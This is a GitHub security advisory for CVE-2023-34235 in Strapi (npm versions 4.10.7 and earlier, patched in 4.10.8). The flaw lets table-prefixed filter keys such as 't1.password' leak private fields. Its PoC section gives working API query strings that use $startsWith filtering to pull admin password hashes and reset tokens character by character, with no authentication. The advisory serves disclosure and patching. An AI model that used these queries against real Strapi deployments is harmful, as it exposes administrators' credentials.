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Leaking sensitive user information still possible by filtering on private with prefix fields

High severity GitHub Reviewed Published Jul 25, 2023 in strapi/strapi • Updated Nov 4, 2023

Package

npm @strapi/database (npm)

Affected versions

<= 4.10.7

Patched versions

4.10.8
npm @strapi/utils (npm)
<= 4.10.7
4.10.8

Description

Summary

Still able to leak private fields if using the t(number) prefix

Details

Knex query allows you to change there default prefix
SqliteError: select distinct `t0`.* from `pages` as `t0` left join `admin_users` as `t1` on `t0`.`updated_by_id` = `t1`.`id` where (`t1`.`password` = 1)
so if you change the prefix to the same as it was before or to an other table you want to query you query changes from password to t1.password password is protected by filtering protections but t1.password is not protected

PoC

1 Create a contentType
2 add to its options "populateCreatorFields"
3 create 1 entity in your new content type
4 in settings enable the find route in settings for the content type you created for public
5 /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=a%24
And now the api returns noting if you were to do
/api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=%24 it would return your entity

Impact

You can do filtering attacks on everything related to the object again including admin passwords and reset-tokens.

References

@alexandrebodin alexandrebodin published to strapi/strapi Jul 25, 2023
Published to the GitHub Advisory Database Jul 25, 2023
Reviewed Jul 25, 2023
Published by the National Vulnerability Database Jul 25, 2023
Last updated Nov 4, 2023

Severity

High
8.6
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Weaknesses

CVE ID

CVE-2023-34235

GHSA ID

GHSA-9xg4-3qfm-9w8f

Source code

Credits

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